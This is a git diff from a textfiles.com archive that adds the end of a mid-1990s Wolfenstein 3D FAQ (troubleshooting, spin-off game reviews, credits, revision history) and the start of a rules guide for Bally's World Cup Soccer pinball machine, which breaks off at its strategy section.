v1.1 + Utility by Bill Neisius to export/import + digitised samples from/to shareware versions + of Wolfenstein. Will accept many formats + (.AU, .VOC, .WAV, .SND etc.) + Doesn't seem to handle ALL the sounds found in + the VSWAP.WL1 file (first 20 I think). +- allwolfsodmaps - All Wolf3D and SoD maps (by Frans de Vries) + Contains a small Unix routine to print them + on separate pages. These WILL work on UNIX + & DOS boxes. Created using wmap41 and the + following add-on: +- allwolfsodmapdefs - New definition files for the Wolfmap editor + (works with Mapedit v4.1 & v6.0 too :) and + the wmap41 ASCII dump utility. Standardizes + the legends, adds Spear definitions, improves + a few colors and adds missing objects/walls. +- ultwlf13 [?.? ?] - Patches wolf for GUS support. Digitised + sounds will be redirected to your GUS in + native mode (No SBOS). Additionally some nice + MOD soundtracks will play in the background. + + +6.0 WOLFENSTEIN BUGS & PROBLEMS (KNOWN TO DATE), + AND HOW TO FIX OR GET AROUND THEM. +=============================================================================== + +6.1 HARDWARE PROBLEMS. + +- Sound FX all screwed or cut out (SB + compat only). + If your sounds are short or hang the machine shortly into the game + then most likely you have an IRQ mismatch on your soundcard. Try + changing it. Good values are 5 & 7. + Also try DMA channel change, although #1 (default) should be ok. + ... and don't forget to set your BLASTER variable in DOS like this: + (Best to put this in AUTOEXEC.BAT) + + SET BLASTER=A220 I5 D1 T4 + ^^^ ^ ^ ^ + + A=??? port number for your soundcard. + I=? interrupt number for your soundcard. + D=? DMA channel number for your soundcard. + T=? Type of your sound card (must consult manual). + 99% of the time you'll only need to fiddle around with I & T. + NOTE: the values pointed at may be different for you. + Consult your SB & Computer manual. + As far as I know T4=SB Pro & T3=Regular Sb. + Dunno About others (anyone?). + +- You get some weird graphics on the screen then later the games hangs. + a) Change your SB IRQ number. Some graphics cards will clash with + it (Don't ask me why, it could help...) + b) If your system is VLB you might try a newer Wolfenstein version. + Try version 1.4 (since version 1.0 has a video problem) + +6.2 SOFTWARE PROBLEMS. + +- Game hangs. Sound hangs on last note. + Try getting rid of some TSRs. + Also some EMM managers can cause the problem with older versions of + Wolfenstein. + v1.1 is notorious for hanging under EMM386.EXE. The problem is + apparently related to VGA card compatibility. It seems some of the + earlier HiColor cards (15/16 bit RAMDACs) do not coexist peacefully + with Creative Labs. SB products. Some of the early SB chips are posing + some problems too. + If Wolfenstein hangs with EMM386 with EMS enabled (/RAM option) then + try the /NOEMS switch. If still no joy then try only HIMEM.SYS with + no EMM386 (extended memory only). + +- Game hangs or refuses to run with memory problems. + If you have DR-DOS 6.0 + QEMM with stealth then disable stealth mode. + Wolfenstein doesn't quite agree with it. + +- Game hangs at the 'Get Psyched' screen. + Err, you probably mixed some version numbers and have a very messy + directory with 999 add-on maps installed. Wolfenstein won't like that. + +- Game hangs with some horizontal stripes through the status bar. + - Heisen-bug, a glitch. Mostly with the add-on maps. + Reboot, probably won't happen again. + - Also happens if you mixed versions of the VSWAP.??? file and of the + game itself. Make sure you have the appropriate version of the game. + +- Game seems to run but all you can see is some weird graphics. + - Must have got a slightly corrupt VSWAP.??? file. Hope you have + a backup somewhere (Nya Nya Nya!) + - You cheater! You tried to go above the last level 10 with the TAB-W + cheat. Ha! (Yes this IS possible with some versions). + - Err, if you edited that map then you forgot to place level entrance + somewhere (duh). + +6.3 GAME SPECIFIC PROBLEMS. + +- 'DISAPPEARING BODIES' phenomenon. This occurs when there are so many enemies + in your view at a time that the game stops displaying some. The game engine as + it seems is limited to only so many "sprites". Anything beyond that and you + won't be sure which guys will start disappearing. This only occurs on a + couple of levels in Wolfenstein I think. Be aware if you are editing your own + map! There is no fix. The engine is set and iD won't rework it. + +- 'PUSHWALL MOVES TOO FAR' phenomenon. This is when the pushwall (or secret door + if you prefer) moves TOO FAR and blocks your further passage into the room + full of goodies etc. I cannot recall if there is one in episode one, but + apparently there are at least two places where this occurs in episode 6. + + Episode 6, level 2. This is the FIRST pushwall in the map. All others on + this level are *behind* it. + + This is shown below: + +before pushing: +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWW W WWW + ?* WWW +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWWWWWW WWW + +after pushing: +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWW W WWW + ? * WWW +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWWWWWW WWW +WWWWWWWWWWWWWWWWW WWW + + You are where the '*' is, and you push the pushwall '?'. + 'W' is other parts of walls. + It's supposed to move two grid locations and stop, so you can go around it. + Instead, it moves three, and blocks everything. + + NOTE: This does not always happen. That is, sometimes the pushwall will move + 2 grid locations, i.e. correctly. + Also any interference from guards behind it is not connected with this + since that would prevent pushwall moving at all or impede it to move + only 1 grid location. + + Solution: Well, it looks like there isn't one at the moment. + There was a suggestion of inserting "stacks 9, 256" in the config.sys file, + but this doesn't seem to help. + The only suggestion is to save frequently and if you experience the problem, + to start over from the last saved position. Maybe the pushwall moves back + correctly this time. + +7.0 WOLFENSTEIN SPIN-OFFS. +=============================================================================== + +In this section of the FAQ, I will detail the many games which Wolfenstein +has inspired. If you can't get enough Wolfenstein, get some of these! NB: +I am not including RPG type games - ie Shadowcaster - as these have taken +their inspiration more from Ultima Underworld. + +7.01 CATACOMB ABYSS. + +This was an iD game for those with EGA monitors, loosely based on the +Wolfenstein engine. It was released by Gamer's Edge, who put nowhere near the +same standard of presentation on it as Apogee would have. The sound was bad - +no SB music! However, all this aside, Catacomb Abyss is a very good game. It +introduced some new features. You fire fireballs, of which you have an +unlimited number, at the undead enemies. Ha! Undead? DEAD! You can pick up +spells, such as the machine-gun effect spell, which streams off a line of +fireballs at the enemy. The graphics are nothing to write home about - +"functional" is as far as it gets. However, this is highly recommended to +Wolfenstein fans. + +7.02 BLAKE STONE 3D. + +This was the real sequel to Wolfenstein 3D. Released around the same time as +Doom (oops), it was set in a futuristic setting. Very similar to Wolfenstein, +although with more enemies, and some other new features, like food units, +"intelligent" enemies, floor mounted enemies, remote-linked doors and a cool +gun, the Plasma discharger. Basically a grenade launcher with a different +name. This is a very atmospheric game which did not get the attention it +deserved at the time, due to the release of... + +7.03 DOOM. + +Wow. What else can I say. This was (and still is) the ultimate 3D game. The +major differences between this and Wolfenstein were: +-Non-orthagonal walls (they can be at any angle to each other, not just +90 degrees) +-Different height levels +-Different lighting levels (ie: it's bloody dark) +-Weapons with different strengths (ie: the shotgun is more powerful than the +chaingun, but it's not rapid-fire) +-Real heavy-duty weapons (rocket-launcher? BFG-9000 (also known as the +Antichrist) +-Network, serial and modem multiplayer support +-Armour (yes, i'm British) +This is an absolute landmark of a game. If it isn't in your collection (and +you've got a VGA 386 with 4MB of ram or better), go get it now. + +7.04 KEN'S LABYRINTH. + +This was knocked up by one guy after playing Wolfenstein, and it shows. Crap. +Crap to the nth degree. Utter dog-poo. Don't waste the download time. + +7.05 HUGO'S NITEMARE 3D. + +This is an interesting game, firmly in the Wolfenstein mode. It puts a more +"puzzly" face onto things. Certain guns are more effective against certain +enemies. Try it if you liked Enigma for Wolfenstein (See Wolfenstein add-ons +section). + +7.06 DOOM 2. + +The new sequel to Doom, sub-titled Hell On Earth. This added a few new enemies +and a double-barreled shotgun. It is also insanely hard. You get about 50 +enemies in one room attacking you...on level 3! The general opinion is that +it didn't add enough to Doom. + +7.07 TERMINATOR: RAMPAGE. + +A commercial Wolfenstein look-alike by Bethesda Softworks. This isn't very +good, the main criticisms being that it is: +a) Too slow +b) Too complicated. +It does have a good variety of weapons, though. + +7.08 CORRIDOR 7. + +This is another commercial offering, by Gametek. They licensed the Wolfenstein +engine, and proceeded to totally mess it up, and produce a boring, slow, +repetitive game. Oh dear...what a wasted oppurtunity. + +7.09 THE FORTRESS OF DR RADIAKI. + +This is yet another commercial offering, and has exactly the same criticisms +as the others. + +7.10 OPERATION BODYCOUNT. + +See above. + +7.11 RISE OF THE TRIAD. + +This is Apogee's new stunner. It should be released around December +(hopefully), and will feature digitised enemies, trillions of weapons, massive +maps, different heights, look up/down, different lighting, shoot everything +(windows, doors, walls, hamsters...)God power up (you become massive, and +walk on enemy soldiers), Dog power-up (God backwards) where you become +small (enabling you to go through small passages) and invincible, and bite +enemies. It still has those orthoganal (at 90 degrees to each other) walls, +though. Damn. + +7.12 HERETIC. + +This is a new game, by Raven Software, using the Doom engine. It should be +coming out the same time as ROtT, and little is known about it other than +the fact that it will be a fantasy setting (swords and sorcerors). + +7.13 DUKE NUKEM 3: 3D. + +Another new 3D game by Apogee's new offshoot, 3D Realms. You get the chance +to fly a jetpack. Should be out first quarter 95. + +7.14 SHADOW WARRIOR 3D. + +Another 3D Realms release. Should introduce some interesting concepts, like +throwing stars. First quarter 95. + +7.15 RUINS 3D. + +ANOTHER 3D Realms release. Set in a roughly Egyptian style. First quarter 95. + +7.16 QUAKE. + +This is the one iD are really into at the moment. This is going to go so far +ahead on technology - one of the iD guys said that it would be sort of like +"Doom = Pong". Among other things, it will have: +-Proper gravity. +-Character interaction. +-Programmed on a client/server basis (READ: LOADS of people over a network). +-Vehicles. +-Look up and down. +-Full world "hierarchy". +-Totally modular (READ: Easily hackable...add-ons galore). +-Maps made in 3D, not "forced" 3D (ie: 2D maps made 3D by the engine). +We won't see it before 96, though. + + + +8.0 ACKNOWLEDGEMENTS. +=============================================================================== + +Lastly I would like to thank all who contributed to this FAQ. +In no particular order, thanks go to: + +Ben Rudiak-Gould (benrg@ocf.Berkeley.EDU) +Jay Wilbur (jayw@idcube.idsoftware.com) +Brian D Milner (Brian.Milner@brunel.ac.uk) +Fred Brown (brown@dgaust.oz.dg.com) +Nancy Rabinowitz (nrabinow@itsmail1.hamilton.edu) +Greg Cohen (rn.3332@rose.com) +Stephen Schimpf (stephen@eggneb.astro.ucla.edu) +Don Campbell (donc@cognos.com) +Andrew Baker Glazier (glazier@isr.harvard.edu) +Tony Lezard (tony@mantis.co.uk) +Frans P. de Vries (fpv@xymph.iaf.nl) +John Edwards (edwards@tincup.enet.dec.com) +*Bob O'Bob (obrien@netcom.com) +Richard Ward (rrward@netcom.com) +Dov Sherman (ab3588@stat.appstate.edu) +Ben Castricum (media03@relay.nluug.nl) +Mark Deplyn (mbd@ukc.ac.uk) +Joe Siegler (apogee@delphi.com) +Elias Papavassilopoulos (ep104@cus.cam.ac.uk) +*John Romero (romero@idcube.idsoftware.com) +Iain Noble (100020.2125@CompuServe.COM) +Douglas Bottoms (BOTTOMS_DOGLAS_J@Lilly.com) +Charles E. Corway (72672.1553@CompuServe.COM) +Stanley Stasiak (ooops...forgotten your e-mail address...apologies) + +????? ????? brown@dgaust.oz.dg.com <<< ( Could not trace this address ) + +Lastly iD Software Inc. cannot be forgotten since without their efforts this +FAQ would never have existed (Buhahahahahaha!) +Oh, and did I mention Apogee, the friendly shareware distributors ;) + +If I forgot your name here then e-mail me a whinge and I'll fix that. + +* - means grabbed from News posts rather than e-mail + so you may not even know you helped with the FAQ ;) + + Last, last note from the keeper (Adam): + Can someone PLEASE write/tell me where there is an editor for the power + of the weapons/guards. Then Warhammer Wolfenstein will REALLY rock! + Oh, for anyone who knows anything about Warhammer, Hitler will be turned + into a big Orc, and you will kill him (apparently). BUT, his body will +die, and the head will live on! Cool, eh? + +9.0 REVISION HISTORY. +=============================================================================== + +Changes to the FAQ - for anyone interested and my beta testers (Thank you ;) + +2.0 - Initial upgrade. Subdivided the whole FAQ into many sections. + Extensive help on map editors, extra maps, trivia, etc. + Officially started stamping version numbers on the FAQ. +2.01 - Added Section 2.2 part 3) Tony Lezard (tony@mantis.co.uk) Thank you. +2.02 - Added sounds of undead (Section 2.1), scores for undead & white + officers (Section 2.15). Corrected tons of spelling & whitespace. + fpv@xymph.iaf.nl (Frans de Vries) Thank you. + Corrected some of the email info in preamble upfront. +2.02b - Filled paragraphs to at least 75 characters. Added Hitler's Ghost + score plus kill averages (Section 2.15). + Also some minor layout corrections. + fpv@xymph.iaf.nl (Frans de Vries) Thank you. +2.02c - Added Section 9.0 Revision History. Also included 2nd reason for crash + (Section 6.2) with horizontal stripes. +2.03 - Added 'pushwall phenomenon' (Section 6.3). + fpv@xymph.iaf.nl (Frans de Vries) Thank you. +2.10 - Removed word 'castle' from Wolfenstein's title. + Standardised name of iD Software throughout (thx Jay). + (remember to rescan DEBUG file after each update) + Added my e-mail address to the FAQ header proper. + Added a copyright notice blurb (Section 0.1) + Added object in wall bug & effect to Section 4.2 + Minute changes Section 9.0 + Standardised sample map characters (Sections 6.3 & 3.10) + More help with SB setting (Section 6.1) + Weird graphics cause added (Section 6.2) + More maps/graphics add-ons info added (Sections 5.1 & 5.2) + Added my sig to EOF. +2.10 - Added iD's help e-mail address (Section 1.11) + Added Section 1.12 + Added Section 10.0 + Added more info on how to get most recent version of FAQ. +2.11 - Some spelling stuffups all over the place. + Added Section 2.4 (secret levels etc.), renamed sections above 2.4 + Added Section 3.11 + Added sound import/export utility to Section 5.3 +2.12 - Fixed a number of bugs in Section 4.2 (6c should be 6b etc.) + ab3588@stat.appstate.edu (Dov Sherman) Thank you. + Also added more guidelines to Section 4.2 + rrward@netcom.com (Richard Ward) Thank you. + Section 4.6 .exe should be .com + Added LIM Cheat to Section 1.10 + media03@relay.nluug.nl (Ben Castricum) Thanks for reminder. + Added enm3-v30 and darkmap1 to Section 5.1 + More typos fixed (ARRGGGHH!) + Added w3dcool to Section 5.2 +2.13 - Section 2.15 bonus for time is 500 not 1000. + Other minor numeric errors in Section 2.15 bosses score. + Some Grammar in Section 2.4 +2.14 - Inserted Section 2.10 Death Cam Question. Renumbered subsequent + sections and pointers. + Ran spell-checker again (!!!) +2.15 - More paragraphing and whitespace corrections. + Included suggestion to Section 6.3. + fpv@xymph.iaf.nl (Frans de Vries) Thank you. +2.16 - Removed references to self-extracting Wolfenstein archive from + Sections 1.3 & 1.4 (No longer valid) + and forgot to thank someone for it (hmm who was it?) + Added info to Section 1.3 about where to find PkUnzip software. + Changed the wording of Section 0.0 + Changed ftp FAQ upload compression from compress (.Z) to pkzip (.zip) + Changed Section 1.12 to reflect the change. +2.17 - Removed one more reference to self-extracting archive (Section 1.3) + Added another mapping hint for secret doors and fixed deaf floor + value (Section 4.2). Elaborated on 'sparse page' problem (Section 4.3) + Added secret level completion score and par level time table to + Section 2.15 fpv@xymph.iaf.nl (Frans de Vries) Thank you. +2.17b - Removed e-mail addresses which will seize to be valid soon. + More stuff for (Section 9.0) + Added AUTOEXEC.BAT reference to Section 6.1. + Identified 'mbd' in Section 9.0 and added Apogee ack (duh). +3.0 - Major upgrade to include info on Spear of Destiny. + edwards@tincup.enet.dec.com (John Edwards) and + fpv@xymph.iaf.nl (Frans de Vries) Thank you. +3.01 - More minor fixes all over the place (does this guy ever give up? :) + Clarified debugging mode keys functionality for different versions of + the games and added 'score lost' warning to LIM cheat (Section 1.10). + Added 'landscape' mapping hint (Section 4.2) and 'input device' hint to + dizziness phenomenon (Section 3.7). Added 'w3d_cc1' and 'sod_cc1' maps + (Section 5.1) and 'wfgrchrt' add-on (Section 5.3) + fpv@xymph.iaf.nl (Frans de Vries) Thank you. +3.10 - Small fixes all over the place apogee@delphi.com (Joe Siegler) + Thank you. + Game slowdown hint included in Section 3.4 ep104@cus.cam.ac.uk + (Elias 'CaveMan' Papavassilopoulos) Thank you. + Section 1.7 elaborated for SoD. + Added SoD Boss sounds to Section 2.1 + Sections 2.8,2.15 'ammo chest' is now 'ammo box'. + Added 'PM-40' and Elevator use to section 2.8 + Added SoD related info to Section 2.11 + Added number of weapons/keys to section 2.15 + fpv@xymph.iaf.nl (Frans de Vries) Thank you. + Moved major section 2.X behind section 4.X and renamed the Sections + accordingly. (section 2.X=4.X, 3.X=2.X, 4.X=3.X) Realigned all pointers + (hopefully). + Added 'map not 64x64' error to Section 4.3 + Added VLB suggestion (hopefully it works...) in Section 6.1 + Included both Unix & DOS versions in uploads. +3.11 - Basically a bugfix release. + Some more hints for Section 4.2. + (wolf sound area explanation J. Romero (romero@idcube.idsoftware.com)) + Some more stuff in sections 4.3,4.4,4.5. + Forgot to renumber section 9.0 consistent with section reshuffle + in version 3.10. Fixed. + Removed beta-testing remark in section 2.1 +3.12 - Added 'cheat mode disabled' notice to Section 1.10 + Added '=' main section underlines. + Changed 1.12 repost frequency info to 4 weeks. + Changed 2.15 rounds/boss quoted as 'minimum' not 'average'. + Added more editors info to Section 4.1 +3.20 - Greatly expanded Section 0. + Slightly changed Sections 1.3, 1.8 & 1.9 to comply with expansion + of Section 0. + Section 1.12 info moved to Section 0.5 + Section 1.12 replaced with info on bug finding within FAQ. + Added non-existance of cheat modes in subsequent Apogee games + notice to Section 1.10 + Added 'Death Incarnate' remark to Section 2.15 + Added info for 'by-hand' map version conversion with Mapedit 6.0 + to Section 4.4 + Added PCX-Dump option to Section 4.6 + Clarified EMM/RAMDAC related sound problems in Section 6.2 + Inserted new Section 2.11 (Jukebox feature) & moved up Sections + above 2.11 + Added Section 1.13 Availability for other platforms. + Added Section 3.12 Boss strategy BOTTOMS_DOGLAS_J@Lilly.com + (Douglas Bottoms) Thank you. + Added note about not calling Apogee about add-ons to Section 4.2 + Added 'music trivia' Section 2.12 & moved up Sections above 2.12 + 72672.1553@CompuServe.COM (Charles E. Corway) Thank you. + Added 'Morse code message' Section 2.13 & moved up Sections above 2.13 + (originator unknown) + Added Wolf3D commercialisation note to Section 1.3 + Added info on finding different versions of Wolfenstein as Section 1.14 + Added 'wlfaud11' & 'morewolf3dmaps' to Section 5.3 + Added 'wolfbonk', 'wolfclwn' & 'wolfstf' to Section 5.2 + Added 'insanity' levels to Section 5.1 + Added '3dbusse' & 'wlfkosh1' to Section 5.2 + Added T4 & T3 to Section 6.1 +3.21 - YABRE: Yet Another Bugfix ReleasE :) (Yep, he does it one more time ;) + Spelling, spacing and filling changes not tagged. + Corrected pointer to Section 2.15 in Section 2.2, and numbering of + Sections 2.14 & 2.15 + Added remark about Wolfmap definition files to Section 4.5 + Added rating & comment for 'sod_cc1' to Section 5.1 + Replaced 'morewolf3dmaps' with 'allwolfsodmaps' and added + 'allwolfsodmapdefs' to Section 5.3 + fpv@xymph.iaf.nl (Frans de Vries) Thank you. +3.30 - Added more boss strategies to Section 3.12 + 100020.2125@CompuServe.COM (Ian Noble) Thank you. + Fixed some of that German in Section 2.1 + Added 'xmasswlf' & 'wolfen60' to Section 5.1 + Added 'barney10' & 'barney14' to Section 5.2 + Added 'ultwlf13' to Section 5.3 + +4.00 - General update of information. + +4.10 - Table 2.1 narrowed. "Where did iD Get the idea for Wolfenstein?" + added. All occurences of id changed to iD (cos its the logo they used for + the old Keen games and it looks cool). Added "Wolfenstein Spin-offs" + section. + +4.15 - Added "How many hits do all those enemies take?" and "What weapons + all those enemies carry?" sections. + +10.0 FUTURE ADDITIONS TO THE FAQ. +=============================================================================== + +On the agenda are: + +- More specific Boss strategies (call on info) +- Include pointer to detailed map/graphics filespecs (if and when they arrive) + +------------------------------------------------------------------------------ + +So there! Phew! +That's the end. +Now go and play the game! + +Adam (The demon Wolf3d editor!) + +-------------------------------------------- +-Doom is a load of rubbish. - +-ARRRGGGHHL! - +-Put the chainsaw down...I was only joking.- +-------------------------------------------- +-Adam Williamson - +-------------------------------------------- +-adam@scss.demon.co.uk - +-------------------------------------------- + + diff --git a/textfiles.com/games/worldcup b/textfiles.com/games/worldcup new file mode 100644 index 00000000..d3fb0fd1 --- /dev/null +++ b/textfiles.com/games/worldcup @@ -0,0 +1,325 @@ +Rules to Bally WORLD CUP SOCCER +v 1.0 +by Greg Dunlap +gdd@rci.ripco.com +----------------------------------- + +Special thanks to Bowen Kerins for clearing up a lot of questions, +making corrections and being an all around swell guy! + +These rules are probably pretty stable at this point as the game comes +close to going into production. + +PLAYFIELD LAYOUT +---------------- +This is sort of left to right + +Left Outlane - Has a kickback which is relit by hitting Light +Kickback Target. + +Left Inlane - Has a rollover which lights the Light Magna-Save +target. + +Magna-Save - Ah yes! The return of the Magna-Save. But not quite +the same implementation as in Black Knight or Jungle Lord or the +other 70s Williams two-levels. The Magna-Save is just above the tip +of the left flipper, and is set to save a STDM drain. By punching an +extra button at the left, you activate the Magna-Save which sucks +the ball into place above your flipper so you can catch it. At least +thats the theory. + +Slingshots - The return of the standard slingshot, no more of this +trapezoid shaped junk like Demo Man or ST:TNG. + +Light Kickback Target - This is lit by rolling through the right +inlane. Hitting it lights the kickback. + +Left Spiral - This is your standard spiral. When a city is lit, it +scores the city and sends the ball all the way around and shooting +out the other side. Otherwise a one-way gate drops down and the +ball falls into the rollovers / pop bumpers. + +Left Ramp - This ramp normally shoots the ball around in a loop and +back to the right flipper. If you hit a second consecutive ramp shot, +a diverter closes and sends the ball over to the left flipper. The left +side of the ramp holds the locking mechanism, implemented here in +excellent fashion. If lock is lit, the ball always goes to the left ramp +lock area from either ramp. I should also note that around the spot +where the ramp is about to curve back towards the right flipper, +there is a little hole so that if you don't shoot your ball strongly +enough, your ball will fall down into the pop bumpers without +scoring the ramp. The ramps are used to lock balls, collect tickets, +relight jackpots, and for points during Ultra Ramps. + +Striker Targets - Striker is this little dog who is the mascot of +World Cup Soccer and he has three standup targets on the +game. One on each side of the left ramp, and one in front of the jet +bumpers at the upper right. Hitting a dog target lights a letter in +the word "STRIKER." When you light all seven letters, you get 10M +and the Striker Scoop is lit. + +Light Free Kick - This is a saucer. Falling in it lights the Free Kick +standup target. + +Tackles - This is a row of three standup targets (think about Cousin +It / Superdog and you get the idea.) Hitting one of them when lit scores +10M. + +Assist - Another saucer, at the upper left, just in front of the goal. +When the ball falls into the Assist saucer your goal gets lit (or +nothing changes if its already lit) and you can shoot the ball +straight in by punching a flipper. Pretty great. + +Star Rollovers - There are four rollovers (yes rollovers!) leading towards +the goal. Light a rollover by rollingover it. Light all four and goal is lit. + +GOAL! - This is really great. At the upper left corner of the +playfield there's this wide hole (picture ST:TNG's Neutral Zone if it +was as wide as all three targets.) In front of it is this plastic goalie +who moves back and forth. You shoot the ball past the goalie and +into the goal. Its tougher than it sounds - he's good! When you hit +the goal the machine yells "GOAL!" and there's a great animation +and the crowd cheers! Hitting the goal when its not lit will score the +Striker Scoop award when you haven't collected a Striker award yet. 4 lit +Goals lights a TV award. +There are also a couple of modes which run along a theme of hitting +the goalie, which I find really amusing. Goal also serves as the +multiball jackpot. + +Striker Scoop - This is a small little scoop in the back middle of the +playfield, to the right of the goal. Hitting it when lit serves up a +seemingly random Striker Award. This also serves as the Extra Ball +shot. + +Jet Bumpers / Rollover Lanes - Three bumpers and two lanes. +Lighting both lanes lights the left spiral to collect a city. Jet +Bumpers are pretty standard three-in-a-triangle-shape. During +normal play, the jets are worth 1OOK a pop and add one thousand +fans for each pop. At 25,OOO fans, the jet value becomes 1M / pop +for the rest of the ball. + +Soccer Ball - Theres this great big half-a-soccer ball which spins at +super speed when the goal is lit and during multiball. The thing is, +the ball is made of RUBBER! This causes A) much bounciness on the +upper part of the playfield and B) some pretty extreme spins on the +ball. + +Free Kick Target - When lit from one of the Free Kick saucers, this +target awards 10M. It stands right in front of the spinning soccer +ball. + +TV Award / Final Draw scoop - When lit for TV award, this gives out +a TV Award. There are currently four TV Awards. Also serves to start +multiball when lit for Final Draw. + +Right Ramp - Same as left ramp, except this ramp always feeds the +left flipper and there are two holes which can drop your ball to the +bumpers instead of just one. Serves same purposes as left ramp. + +Light Free Kick saucer - There is another Light Free Kick Saucer to +the right of the right ramp. See above. + +Light Magna-Save target - When lit, hitting this target lights the +Magna-Save. This target is lit by rolling through the left inlane. + +Right Inlane - Rolling through this inlane lights the Light Kickback +target. + +Right Outlane - There is a special light here, which is lit at the end of +multiball (see MULTIBALL below.) + +Plunger / Skill Shot - First off, this game has a real plunger. You +remember...you pull it back and it springs the ball out? The skill +shot is like one of those loops on roller coasters. You shoot the ball +up the loop, and it falls into one of three dividers which each have a +light. When you start they are all flashing. Falling in one of the +flashing ones the first time scores 5M. Then only two are flashing. +Hitting another flashing one scores 10M. When you hit the last +flashing one you spot a city for 30M! + + +RULES +----- +GOALS - For some reason, hitting goals is the funnest thing in the +world. You start each ball with the goal lit (at least you do on the +machine I play.) Shooting a goal scores 10M, adds 5M to fun with bonus and +starts an "Ultra" round. There's some great sounds here. When the goalie +blocks a kick you get "What a great save!!!" The voice reminds me a lot of +the voice in Banzai Run. You relight the goal by lighting four stars on +the playfield. There are two ways to light a star: A) Hitting the dog +target in front of the pop bumpers (called the "Header" target) lights an +unlit star B) By rolling over them! Yes, first the return of Magna-Save, +now the return of rollovers! What a great game. After each goal, you are +awarded an "Ultra" mode. There are four Ultra modes (explained below) and +each one lasts for the length of your ball or until you score 30M on the +mode, at which time you are given a 10M bonus and the mode ends. The +modes you currently have lit are indicated by four lightning bolt-shaped +lights on the right side of the playfield. +These modes do not add to your score during the normal game, they +are only used for fun with bonus. + + Utlra Ramps - About what it says. Shoot ramps for 5M per +ramp. + Utlra Spinner - Ditto, to the tune of 1M a spin. + Ultra Jets - This is a pop bumper bonus. Pop bumpers are +upped to 2M a pop. + Utlra Goalie - Nail the goalie! One of two Hit the Goalie modes, +these are completely hilarious. Hitting the goalie scores 5Ma shot. + +TV AWARDS - Shooting four goals lights the TV award. Hitting the +TV Award scoop awards it. Currently there are four TV Awards. A TV Award +is a timed mode (these were 20 or 25 seconds) for bonus scoring. Simply +starting any TV Award is worth a cool 25M. They are awarded in order as +opposed to randomly. + Big Goal Round - Shoot three goals within the time limit for 15M, +15M and 30M. + Extra Ball Round - Extra Ball lit for 20 seconds. If you hit the +extra ball, then the Striker scoop is worth 50M for the rest of the time +limit. + Hit The Goalie! - Same as above except timed. Hitting the +goalie is worth 10M, shooting the goal raises the goalie value by +10M. Still totally great. + Where's Striker - Shoot any of the dog targets to try and find +Striker. First hit scores low points, second scores medium points, third +finds Striker and scores big points. I still haven't gotten this yet so I +can't be more specific. + + +STRIKER AWARDS - Htting a Striker dog target scores 1M and adds a letter +to the words "STRIKER." Spelling the word Striker awards 10M and lights +the Striker scoop. It is also lit at the start of the game. The first +Striker award may be collected freom the goal if the goal is not lit. +Shooting the Striker scoop gives out a random award. The ones I've seen +are set forth below. + Extra Ball - Guess. + Multiball - Starts multiball at rank 15 (see below.) + 20 million - Another toughie. + Super Free Kick - Makes the free kick target worth 10M + 5M +per consecutive hit for a certain amount of time. + Penalty Kick - Gives you a shot at the goal with the goalie not +moving and leaning out of the way. hit the goal for 30M. + Three Cities - Gives you your next three cities (see below.) + Unlimited Kickback - Kickback lit for the rest of the ball! + Three Goals - Adds three goals to your total, complete with three +Ultra rounds too. + +MULTIBALL - OK, there are four spots with flashing arrows +labeled "BUILD" in front of them - left spiral, left ramp, right +ramp and Striker scoop. There is also a big soccer ball painted on +the playfield with the words Strength, Stamina, Skill, Speed and Spirit on +it. Shooting a build shot lights one of the words on the ball on the +playfield. When you light all five, lock and multiball are lit. Shoot a +ramp to lock the ball, shoot the Final Draw scoop to start multiball. Now +when you start multiball you are given a team to play, based on your rank. +Your rank is determined as follows - Every two shots to a lit goal +advances you 1 rank, and if you lock a ball before starting multiball you +advance 4 ranks (since multiball is lit as soon as lock is lit.) You beat +a team by shooting the goal (this is your jackpot,) and then get to play +the next team by shooting a ramp (relighting jackpot.) There are fifteen +teams, with the following ranks and jackpot values: + +#15 USA 20M +#14 Russia 20M +#13 South Korea 25M +#12 Saudi Arabia 30M +#11 Morocco 35M +#10 Austria 40M +#9 Canada 45M +#8 Holland 50M +#7 Italy 55M +#6 Great Britain 60M +#5 Sweden 65M +#4 Spain 70M +#3 Australia 75M +#2 France 100M +#1 Germany 250M + + If you drain before hitting a jackpot, shooting a ramp or the Final Draw +scoop will restart multiball where you left off. If you start Multiball +again, you are advanced two ranks. For your match against #1 ranked +Germany, the Special is lit on the right outlane, the jackpot is worth +250M and after you hit it, the ramps and goal are lit as Victory Laps +worth 50M a piece! After five laps, the Victory Laps swirch off between +left ramp and goal. One more thing, the Assist saucer works during +multiball, but best of all, its programmed not to miss. + +CITIES - There are eight cities on the World cup tour - Chicago, +Dallas, Boston, New York / New Jersey, Orlando, Washington DC, San +Francisco, Detroit and LA. There are three different ways to collect +cities. + 1) Left Spiral - Shooting both ramps or lighting both rollovers +lights the left spiral with a yellow arrow labeled "TRAVEL." +Shooting the spiral at this time awards your next city. Actullly, +scoring the spiral doesn't award the city, setting off the spinner +does. And you CAN score it backwards! I have had two cities lit, +shot the spinner for the first one, and when the ball didn't make it +all the way up it fell back down and lit the second one! + 2) Striker Award - There is a Striker award which gives you +your next three cities. + 3) Skill Shot - Hitting all three flashing lights awards your +next city. +Chicago, Dallas and Boston are worth 10M. New york, Orlando and Washington +are worth 15M. San Francisco, Detroit and LA are worth 20M. Travelling to +any city also lights the Tackle target, worth 10M when hit. Several cities +have modes associated with them, as +outlined below. + + Boston - Boston Tea Party Mode - A hurry up. Starts at 40M +and counts down to 10M. Shoot spinner to collect. + Washington D.C. - Extra Ball - Lights Extra Ball + L.A. - World Cup Final - After travelling to L.A., shoot the +Final Draw hole to start the Final Match against Germany! This is really +great. 5 ball timed multiball against Germany for 45 seconds. You plunge +the balls yourself (manual plunger remember) and goals are worth 75M. +Every once in a while Germany will score a goal. If you end the 45 seconds +with more goals than Germany you get a bonus of 500M!!!! Yowza! If you end +in a tie, overtime is started and the first team to score a goal wins. + +BUY-IN - You can buy an extra ball for 1 credit up to three times. +When you buy in, all four ultra modes begin lit! There are separate +high score tables for x number of buy-ins, but I haven't sorted them +out yet. Hell, I haven't even sorted out the ones for ST:TNG yet. + +BONUS - Bonus is awarded as outlined below +5M per goal +Ultra Modes are scored however you did. +5M per city. + +STRATEGIES / TIPS +------------------ + My strategy 